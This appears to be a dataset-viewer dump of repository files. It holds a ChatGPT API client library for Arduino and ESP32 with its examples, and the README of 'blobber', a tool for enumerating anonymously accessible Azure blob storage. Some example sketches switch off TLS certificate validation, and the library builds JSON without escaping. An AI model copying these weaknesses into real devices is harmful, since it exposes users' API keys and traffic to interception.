Dataset Viewer (First 5GB)
Auto-converted to Parquet
repo_id
stringlengths
6
101
size
int64
367
5.14M
file_path
stringlengths
2
269
content
stringlengths
367
5.14M
0015/ChatGPT_Client_For_Arduino
6,552
README.md
## Overview The ChatGPT Arduino Library provides a convenient way to interact with the OpenAI GPT models from Arduino environments, such as ESP32 devices. With this library, you can easily send text and vision queries to the ChatGPT API and receive responses directly in your Arduino projects. ## Features - **Text Generation**: Generate text-based responses to user queries using the ChatGPT models. - **Vision Question Answering**: Utilize the vision capabilities of ChatGPT to answer questions about images. - **Simple API Integration**: Simple and intuitive API for seamless integration into your Arduino projects. ## Authentication The OpenAI API uses API keys for authentication. Visit your API Keys page to retrieve the API key you'll use in your requests. First, get your SECRET KEY issued here. https://platform.openai.com/api-keys ![API Keys](misc/openai_API-Keys.png) ## Installation ### Using Arduino Library Manager From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...* In Library Manager Window, search *"ChatGPT"* in the search form then select *"ChatGPT_Client"* Click *"Install"* button. ### Manual installation Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"* From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...* Or use git: ``` cd ~/arduino/libraries/ gh repo clone 0015/ChatGPT_Client_For_Arduino ``` Then you should see the examples and be able to include the library in your projects with: ``` #include <ChatGPT.hpp> ``` ## Usage 1. Include the `ChatGPT.hpp` header file in your Arduino sketch. 2. Create a `ChatGPT` object and provide your API key and other required parameters. 3. Use the provided methods to send queries to the ChatGPT API and receive responses. ### Example: ```cpp #include <ChatGPT.hpp> // Initialize ChatGPT client WiFiSSLClient wifiClient; ChatGPT<WiFiSSLClient> chatGPT(&wifiClient, "v1", "YOUR_API_KEY", 10000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image. detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } ``` ### Result: ```json [ChatGPT] - Asking a Text Question [ChatGPT] Response: { "id": "chatcmpl-9QjdlCkqkB4dsVXBzUTRTBYafI7f3", "object": "chat.completion", "created": 1716158997, "model": "gpt-3.5-turbo-0125", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "One of the best features of GPT-4o is its advanced natural language processing capabilities. GPT-4o has a deeper understanding of context, nuance, and complex language structures, allowing it to generate more accurate and coherent responses to a wide range of prompts. Its improved language modeling capabilities make it more versatile and effective in various tasks such as text generation, language translation, and question answering. Overall, the enhanced natural language processing capabilities of GPT-4o make it a powerful tool" }, "logprobs": null, "finish_reason": "length" } ], "usage": { "prompt_tokens": 19, "completion_tokens": 100, "total_tokens": 119 }, "system_fingerprint": null } ``` ```json [ChatGPT] - Asking a Vision Question [ChatGPT] Response: { "id": "chatcmpl-9Qjdp5B4wyE5cVbcLOucvm9uoT6rH", "object": "chat.completion", "created": 1716159001, "model": "gpt-4o-2024-05-13", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "The image shows a peaceful lakeside pathway. The path is made of bricks and runs alongside a body of water. There is greenery on both sides of the path with trees providing shade on the right side. Off in the distance, you can see some buildings, possibly residential apartments, and more greenery. The atmosphere appears to be calm and serene." }, "logprobs": null, "finish_reason": "stop" } ], "usage": { "prompt_tokens": 268, "completion_tokens": 69, "total_tokens": 337 }, "system_fingerprint": "fp_927397958d" } ``` ### Limitation AVR and ESP8266 may not operate smoothly due to insufficient memory allocation. It looks like this part will need to be updated again soon. # Updates - v0.2.0 - Support Vision Question (GPT-4o) - Support larger payloads - ArduinoJson 7 - v0.1.2 - Demo Bugs Fixed - v0.1.1 - Added ESP8266 Example - v0.1.0 - Only Support Chat completion yet - Model, only gpt-3.5-turbo and gpt-3.5-turbo-0301 are supported # License This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
0015/ChatGPT_Client_For_Arduino
10,335
src/ChatGPT.hpp
/* * Project ChatGPT Client * Description: The official method using API Key for communication with ChatGPT * Author: Eric Nam * Date: 07-17-2024 */ #ifndef __CHATGPT__ #define __CHATGPT__ template <class T> class ChatGPT { public: /* * Description: * Constructor for the ChatGPT class. * * Parameters: * - _client: Pointer to the HTTP client object. * - api_version_in: The API version to use. * - api_key_in: The API key for authentication. * - timeout_in: The timeout duration for requests. */ ChatGPT(T *_client, const char *api_version_in, const char *api_key_in, unsigned long timeout_in) : client(_client), api_version(api_version_in), api_key(api_key_in), timeout(timeout_in) { timeout = (timeout_in < 5000) ? 5000 : timeout_in; } ~ChatGPT() = default; /* * Description: * Sends a vision question to the ChatGPT API. * * Parameters: * - model: The model to use for generating the response. * - role: The role of the user (e.g., "user", "assistant"). * - type: The type of the content (e.g., "text", "image_url"). * - text: The text content of the message. * - image_type: The type of the image content. * - image_url: The URL of the image. * - detail: The detail level of the image (e.g., "low", "high"). * - max_tokens: The maximum number of tokens to generate. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory) * * Returns: * - True if the request is successful, false otherwise. */ bool vision_question( const char *model, const char *role, const char *type, const char *text, const char *image_type, const char *image_url, const char *detail, int max_tokens, bool content_only, String &result, bool mem_dynamic = true) { char *post_body = nullptr; // Initialize post_body pointer int post_body_size = 0; if (mem_dynamic) { // Calculate the required size for dynamic allocation post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}", model, role, type, text, image_type, image_url, detail, max_tokens) + 1; post_body = new char[post_body_size]; if (post_body == nullptr) { result = "[ERR] Memory allocation failed!"; return false; } } else { // Use a static buffer with a fixed size static const int static_buffer_size = 512; char static_post_body[static_buffer_size]; post_body_size = static_buffer_size; post_body = static_post_body; } // Format the post_body string snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}", model, role, type, text, image_type, image_url, detail, max_tokens); // Call the _post function bool success = _postStream(post_body, content_only, result); // Free dynamic memory if allocated if (mem_dynamic) { delete[] post_body; } return success; } /* * Description: * Sends a chat message to the ChatGPT API. * * Parameters: * - model: The model to use for generating the response. * - role: The role of the user (e.g., "user", "assistant"). * - content: The content of the message. * - max_tokens: The maximum number of tokens to generate. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory) * * Returns: * - True if the request is successful, false otherwise. */ bool chat_message( const char *model, const char *role, const char *content, int max_tokens, bool content_only, String &result, bool mem_dynamic = true) { char *post_body = nullptr; // Initialize post_body pointer int post_body_size = 0; if (mem_dynamic) { // Calculate the required size for dynamic allocation post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content) + 1; post_body = new char[post_body_size]; if (post_body == nullptr) { result = "[ERR] Memory allocation failed!"; return false; } } else { // Use a static buffer with a fixed size static const int static_buffer_size = 256; char static_post_body[static_buffer_size]; post_body_size = static_buffer_size; post_body = static_post_body; } // Format the post_body string snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content); // Call the _post function bool success = _postStream(post_body, content_only, result); // Free dynamic memory if allocated if (mem_dynamic) { delete[] post_body; } return success; } private: static constexpr const char *host = "api.openai.com"; static constexpr const int httpsPort = 443; T *client = nullptr; String api_version; String api_key; unsigned long timeout; /* * Description: * Sends an HTTP POST request to the ChatGPT API in streaming mode. * * Parameters: * - post_body: The body of the POST request. * - content_only: If true, extracts and returns only the content from the response. * - result: Stores the response from the API. * * Returns: * - True if the request is successful, false otherwise. */ bool _postStream( const char *post_body, bool content_only, String &result) { if (!client->connect(host, httpsPort)) { result = "[ERR] Connection failed!"; return false; } size_t payload_length = strlen(post_body); String auth_header = _get_auth_header(api_key); String http_request = "POST /" + api_version + "/chat/completions HTTP/1.1\r\n" + auth_header + "\r\n" + "Host: " + host + "\r\n" + "Cache-control: no-cache\r\n" + "User-Agent: ESP32 ChatGPT\r\n" + "Content-Type: application/json\r\n" + "Content-Length: " + String(payload_length) + "\r\n" + "Connection: close\r\n" + "\r\n"; // Send the HTTP request headers client->print(http_request); // Send the HTTP request body in chunks size_t bytes_sent = 0; while (bytes_sent < payload_length) { size_t chunk_size = minimum(payload_length - bytes_sent, static_cast<size_t>(1024)); // Adjust chunk size as needed size_t bytes_written = client->write((const uint8_t *)post_body + bytes_sent, chunk_size); if (bytes_written != chunk_size) { result = "[ERR] Failed to send data"; client->stop(); return false; } bytes_sent += bytes_written; } // Wait for the response String responseStr; unsigned long startTime = millis(); while (client->connected() && millis() - startTime < timeout) { if (client->available()) { responseStr += client->readStringUntil('\n'); responseStr += "\r\n"; startTime = millis(); // Reset the timeout timer whenever new data is received } } // Handle timeout if (millis() - startTime >= timeout) { result = "[ERR] Timeout"; client->stop(); return false; } client->stop(); // Check for valid response if (responseStr.length() == 0) { result = "[ERR] Empty response"; return false; } // Extract response code int responseCode = responseStr.substring(responseStr.indexOf(" ") + 1, responseStr.indexOf(" ") + 4).toInt(); if (responseCode != 200) { result = responseStr; return false; } // Extract JSON body int start = responseStr.indexOf("{"); int end = responseStr.lastIndexOf("}"); String jsonBody = responseStr.substring(start, end + 1); if (jsonBody.length() == 0) { result = "[ERR] Couldn't read JSON data"; return false; } if (content_only) { return getContent(jsonBody.c_str(), result); } else { result = jsonBody; return true; } } String _get_auth_header(const String &api) { return "Authorization: Bearer " + api; } bool getContent(const char *jsonString, String &result) { JsonDocument doc; DeserializationError error = deserializeJson(doc, jsonString); if (error) { result = "deserializeJson() failed: "; result += error.f_str(); return false; } // Check if the "choices" array exists and contains at least one element if (doc.containsKey("choices") && doc["choices"].is<JsonArray>() && doc["choices"].size() > 0) { // Access the first element of the "choices" array JsonObject choice = doc["choices"][0]; // Check if the "message" object exists if (choice.containsKey("message")) { // Access the "message" object JsonObject message = choice["message"]; // Check if the "content" field exists if (message.containsKey("content")) { // Access and store the value of the "content" field const char *content = message["content"]; result = content; return true; } else { result = "No 'content' field found"; return false; } } else { result = "No 'message' object found"; return false; } } else { result = "No 'choices' array found or it is empty"; return false; } } size_t minimum(size_t a, size_t b) { return (a < b) ? a : b; } }; #endif
0015/ChatGPT_Client_For_Arduino
1,076
examples/Arduino_SSLClient/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,453
examples/Arduino_SSLClient/Arduino_SSLClient.ino
/* * Project ChatGPT Client For Arduino (Arduino Giga R1, Arduino Portenta H7) * Description: For HTTPS connection using Arduino WiFiSSLClient * Author: Eric Nam * Date: 07-17-2024 */ #include <WiFi.h> #include <WiFiSSLClient.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *pass = "<WIFI_PW>"; int status = WL_IDLE_STATUS; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiSSLClient client; ChatGPT<WiFiSSLClient> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void setup() { //Initialize serial and wait for port to open: Serial.begin(115200); while (!Serial) { ; // wait for serial port to connect. Needed for native USB port only } // check for the WiFi module: if (WiFi.status() == WL_NO_MODULE) { Serial.println("Communication with WiFi module failed!"); // don't continue while (true) ; } // attempt to connect to WiFi network: while (status != WL_CONNECTED) { Serial.print("Attempting to connect to SSID: "); Serial.println(ssid); // Connect to WPA/WPA2 network. Change this line if using open or WEP network: status = WiFi.begin(ssid, pass); // wait 10 seconds for connection: delay(10000); } Serial.println("Connected to WiFi"); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
0015/ChatGPT_Client_For_Arduino
1,076
examples/ESP32_WiFiClientSecure/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,002
examples/ESP32_WiFiClientSecure/ESP32_WiFiClientSecure.ino
/* * Project ChatGPT Client For ESP32 * Description: For HTTPS connection using WiFiClientSecure * Author: Eric Nam * Date: 07-17-2024 */ #include <WiFi.h> #include <WiFiClientSecure.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *pass = "<WIFI_PW>"; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiClientSecure client; ChatGPT<WiFiClientSecure> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void setup() { Serial.begin(115200); Serial.print("Connecting to WiFi network: "); Serial.print(ssid); Serial.println("'..."); WiFi.begin(ssid, pass); while (WiFi.status() != WL_CONNECTED) { Serial.println("Connecting..."); delay(1000); } Serial.println("Connected!"); // Ignore SSL certificate validation client.setInsecure(); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
0015/ChatGPT_Client_For_Arduino
1,076
examples/Arduino_BearSSLExample/Base64ImageData.h
#ifndef BASE64_IMAGE_DATA_H #define BASE64_IMAGE_DATA_H // The image is a solid red color. const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k="; #endif
0015/ChatGPT_Client_For_Arduino
4,223
examples/Arduino_BearSSLExample/Arduino_BearSSLExample.ino
/* * Project ChatGPT Client For Arduino * Description: For HTTPS connection using ArduinoBearSSL * Author: Eric Nam * Date: 07-17-2024 */ //#define ARDUINO_DISABLE_ECCX08 #include <ArduinoBearSSL.h> #include <WiFi.h> #include <ArduinoJson.h> #include <ChatGPT.hpp> #include "Base64ImageData.h" static const char *ssid = "<WIFI_SSID>"; static const char *password = "<WIFI_PW>"; int status = WL_IDLE_STATUS; /* client: Pointer to the HTTP client object used for making API requests. api_version: API version to use for communication (e.g., "v1"). api_key: API key for authentication with the ChatGPT API. timeout: Timeout duration for API requests, in milliseconds. */ WiFiClient client; BearSSLClient sslClient(client); ChatGPT<BearSSLClient> chatGPT_Client(&sslClient, "v1", "<OpenAI_API_KEY>", 60000); void exampleTextQuestion() { /* model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo"). role: Role of the message sender (e.g., "user" or "assistant"). content: Content of the message to send. max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Text Question"); if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionBase64() { /* model: Model to use for generating the response (e.g., "gpt-4o"). role: Role of the message sender (e.g., "user" or "assistant"). type: Type of content (e.g., "text"). text: Text content of the message. image_type: Type of the image (e.g., "image_url"). image_url: URL of the image or Base64 Image Data detail: Detail level of the image (e.g., "high", "low", "auto"). max_tokens: Maximum number of tokens to generate in the response. content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response) result: Reference to a String variable to store the result of the API call. mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory) */ String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } void exampleVisionQuestionWithURL() { String result; Serial.println("\n\n[ChatGPT] - Asking a Vision Question"); if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) { Serial.print("[ChatGPT] Response: "); Serial.println(result); } else { Serial.print("[ChatGPT] Error: "); Serial.println(result); } } unsigned long getTime() { return WiFi.getTime(); } void setup() { Serial.begin(115200); if (WiFi.status() == WL_NO_SHIELD) return; int status = WL_IDLE_STATUS; while (status != WL_CONNECTED) { status = WiFi.begin(ssid, password); delay(1000); } Serial.println("Connected!"); ArduinoBearSSL.onGetTime(getTime); // Disable Server Name Indication: // for testing purposes only // DO NOT USE IN PRODUCTION sslClient.setInsecure(BearSSLClient::SNI::Insecure); Serial.println("[ChatGPT] - Examples"); delay(1000); exampleTextQuestion(); // Post Body in Static Memory delay(1000); exampleVisionQuestionWithURL(); // Post Body in Dynamic memory } void loop() {}
000pp/blobber
1,421
README.md
<div align="center"> <img src="https://i.imgur.com/Y2XXof7.jpeg" width="900"> <br> ___ <br> <img src="https://img.shields.io/github/license/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/blobber?color=blue&logo=github&style=for-the-badge"> </div> <br> <h3> Blobber - Azure Blob Storage Service Enumeration Tool </h2> <p> <b>Blobber</b> is a tool focused on enumerating files stored in an Azure Blob Storage Service with anonymous access enabled. </p> <br> <h3> Installation </h3> <pre> ~$ apt install pipx ~$ pipx ensurepath ~$ pipx install git+https://github.com/oppsec/blobber.git ~$ blobber </pre> <br> <h3> Usage examples </h3> <pre> blobber -u "https://target.com/uploads" blobber -u "https://target.com/assets" -f '.pdf' </pre> <br> <h3> Updating </h4> <pre> 1. option: pipx install git+https://github.com/oppsec/blobber.git --force 2. option: pipx reinstall blobber --python /usr/bin/python </pre> <br> <h3> Warning </h3> <p> The developer is not responsible for any malicious use of this tool </p>
000pp/blobber
1,071
src/blobber/main.py
